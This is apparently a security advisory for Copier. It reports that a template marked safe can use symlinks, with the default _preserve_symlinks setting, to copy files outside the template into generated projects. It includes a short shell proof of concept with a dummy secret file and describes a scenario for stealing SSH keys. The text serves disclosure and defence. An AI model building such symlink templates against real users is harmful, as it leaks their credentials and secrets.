Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with <code>_preserve_symlinks: false</code> (which is Copier's default setting).
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
Illegally include a file in the generated project via symlink resolution:
echo "s3cr3t" > secret.txt
mkdir src/
pushd src/
ln -s ../secret.txt stolen-secret.txt
popd
uvx copier copy src/ dst/
cat dst/stolen-secret.txt
#s3cr3t
Illegally include a directory in the generated project via symlink resolution:
mkdir secrets/
pushd secrets/
echo "s3cr3t" > secret.txt
popd
mkdir src/
pushd src/
ln -s ../secrets stolen-secrets
popd
uvx copier copy src/ dst/
tree dst/
# dst/
# └── stolen-secrets
# └── secret.txt
#
# 1 directory, 1 file
cat dst/stolen-secrets/secret.txt
# s3cr3t
n/a
n/a
n/a
{
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T22:08:48Z",
"severity": "MODERATE",
"nvd_published_at": "2026-01-21T23:15:52Z",
"cwe_ids": [
"CWE-61"
]
}